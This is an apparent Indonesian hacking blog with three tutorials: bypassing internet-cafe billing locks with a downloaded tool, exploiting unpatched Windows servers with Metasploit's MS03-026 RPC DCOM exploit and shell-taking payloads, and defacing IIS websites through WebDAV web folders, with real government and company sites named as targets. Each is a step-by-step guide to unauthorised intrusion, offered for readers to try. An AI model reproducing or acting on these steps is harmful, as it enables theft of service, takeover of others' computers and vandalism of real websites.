Langsung saja, dalam kegiatan hacking Billing Explorer Client ini saya menggunakan bantuan dari program bernama hackclient.exe yang saya temukan dari forum HNc. Karena tutorial disana kurang lengkap maka sebagai tanda balas jasa atas ilmu yang telah saya peroleh maka saya membuat tutorial sederhana ini.

Di warnet masuk sebagai Personal dan siapkan modal program aplikasi hackclient.exe yang dapat diperoleh dari http://www.4shared.com/file/Xyw_iMyz/hackclient.html

Jika sudah didapat lalu jalankan aplikasinya. Maka akan muncul tampilan seperti berikut ini :

Perhatikan disana ada 2 program billing client, gag usah bingung gambar yang tampil di atas adalah billing client yang palsu, sedangkan yang asli ada di bagian paling kiri, yang tampilannya paling sederhana, dan yang pada awal tadi telah Anda lihat.
Ikuti petunjuk berurutan sesuai yang ada pada program billing client palsu. Jika beruntung maka Anda bisa keluar dari program billing client dan menikmati hampir semua fasilitas windows yang dikunci oleh billing client aslinya.

Perhatikan bahwa cara ini tidak akan mengurangi nilai nominal yang tertera di billing server (operator) yang harus Anda bayarkan. Ada baiknya tutorial ini digunakan untuk pembelajaran bukan untuk perbuatan jahat. Kasihan operator dan pemilik warnetnya, untuk mendapat 2000 perak pun terhalang dengan ulah pemakai aplikasi ini.
Silakan download toolsnya disini:

Jadi gunakan dengan bijak ya ;-D
Dan selamat bereksperimen :D

HACKING engan cara METAPLOIT

BY Putra Muharril IN No comments

kali ini saya akan share sedikit tentang aplikasi hacker favorit saya. Yaitu adalah METAPLOIT Framework ver. 2.6. Aplikasi ini berfungsi untuk mengexploitasi kelemahan suatu system ataupun aplikasi. Aplikasi ini bisa untuk penetration testing ke System Windows, Unix/Linux, dan MacOs, tapi yang lebih cenderung Exploitable adalah Windows SP1. Untuk lebih lengkapnya dapat di baca di website resminya www.metasploit.com.
Ketika saya menulis artikel ini, metasploit sudah merilis yang versi 3.5, tapi saya menggunakan versi 2.6, karna pada dasarnya sama saja, hanya saja versi 3.5 lebih banyak exploitnya :D . Oh iya, dalam Metasploit Framework, kita sudah disediakan banyak exploit, sehingga tidak perlu mendownload lagi. Fungsi exploit yaitu mengirim bufferOverflow pada system korban, sehingga kita dapat menTakeOver shellnya.
Langsung saja, berikut installasinya di Windows.
1. Download dulu di webiste resminya www.metasploit.com, jika tak ada ver. 2.6, coba cari aja di Google, :D usaha sedikit gan.
2.  Kemudian install, dan jalankan msfweb.

Maka akan muncul window shell seperti berikut.

3. Buka Web Browser bisa Internet Explorer, Mozilla, OperaMini, dll. Dan pergi ke http://127.0.0.1:55555, maka tampilannya seperti berikut.
Mungkin tampilan web gui anda akan sedikit berbeda, karena templatenya disini telah saya ganti. :D
4. Kemudian cari corban yang akan kita exploitasi. Bisa menggunakan NMAP, terus kita lakukan port scanning. Disini kita akan mencoba pada system OS Windows Server 2003 yg masih fresh install (belum di Patch). Pada port scanning, pastikan port untuk MSRPC tebuka (default = open). Download NMAP di www.nmap.org
5.Memilih Exploit.
Pada Metasploit Web Interface, di bagian FILTER MODULES pilih “app :: dcom”, setelah itu pilih exploit Microsoft RPC DCOM MSO3-026.
Pilih target pada pilihan Select Target
6. Memilih Payload
Pilih salah satu payload diatas, jika masih bingung, pilih saja win32_bind, yang akan mengexploitasi dan langsung masuk ke command shell target. Berikut beberapa fungsi2 payload :
win32_adduser : menambah user pada system korban
win32_bind : masuk ke shell korban
win32_bind_dllinject : untuk upload / inject dll files
win32_bind_meterpreter : exploitasi dengan menjalankan meterpreter (i like it :) ).
win32_bind_vncinject : inject vncserver pada system korba (untuk kita remote melalui vncviewer).
win32_downloadexec : mendownload dan mengeksekusi aplikasi pada pc korban
win32_exec : mengeksekusi command di system korban.
Sedangkan BIND, PASSIVE, REVERSE, pada dasarnya sama saja.

RHOST ==>> Ip Address Korban (Remote).
LHOST ==>> Ip Address Kita (Local)
RPORT ==>> Port Korban
LPORT ==>> Local Open Port

Setelah diisi semua, kemudian klik exploit untuk mengHack. Hahaha :D , selamat mencoba.

Cara Deface Website !

BY Putra Muharril IN No comments

Deface/Defacing atau cyber grafity secara umum diartikan sebagai aktifitas menodai atau
merubah ubah isi suatu halaman web dengan kalimat , image atau link tertentu yang tidak
ada sangkut pautnya dengan misi web tersebut , Biasanya hacker men-deface suatu
halaman web dengan maksud supaya eksistensinya diketahui oleh khalayak ramai.
Mungkin anda pernah dengar atau pernah mengunjungi suatu web yang terkena deface
seperti :

http://www.bandaaceh.go.id
http://www.pertamina.co.id
http://www.transtv.co.id
http://www.setkab.go.id
http://www.pom.go.id
http://www.usni.ac.id

Ternyata apabila kita perhatikan target target tersebut dengan seksama , para target
mempunyai kesamaan yaitu server web tersebut berjalan di Operating System Windows
2000 dan servernya adalah IIS 5.0/6.0.

Mungkin anda beranggapan bahwa deface server server web tersebut adalah hal yang
susah dan perlu waktu yang lama untuk menyusup ke server tersebut , ternyata hal
tersebut adalah mudah semudah copy dan paste , silahkan ikuti langkah langkah berikut ,
dalam hal ini gw menggunakan contoh penggunaan web folder pada Windows xp


1. Buatlah suatu halaman web seperti dibawah ini atau terserah anda dengan
menggunakan tool/software terserah anda seperti Frontpage , Macromedia , Note
pad dan lain lain

2. Beri nama halaman web tersebut dengan index.html / index.asp / default.html /
default.asp atau nama lain tergantung nama file halaman pertama suatu web
terbuka atau nama terserah anda apabila hanya mau menyimpan file tersebut di
suatu web

3. Buka My computer pada desktop dan lihat icon web folder

4. Klik 2 kali pada icon web folder tersebut

5. klik 2 kali pada icon add web folder

6. Isikan URL target di popup yang muncul misalkan target kita adalah
http://www.pertamina.co.id maka isikan URL tersebut

7. klik next lalu finish

8. Klik 2 kali pada folder yang terbentuk dan anda akan melihat isi folder tersebut
dengan file file yang akan tampil pada halaman web apabila kita mengunjungi
web tersebut

9. rubah nama file pembuka web tersebut (biasanya nama file index.html atau
index.asp) dengan nama file lain seperti index_old.asp atau terserah anda ,
biasakan hal ini anda lakukan karena kita tidak bermaksud untuk merusak isi web
milik orang lain , hanya mengingatkan.

10. Copy dan paste-kan halaman web yang anda buat tadi di folder web folder yang
telah kita buat

11. Save di komputer anda.

12. Proses Deface selesai.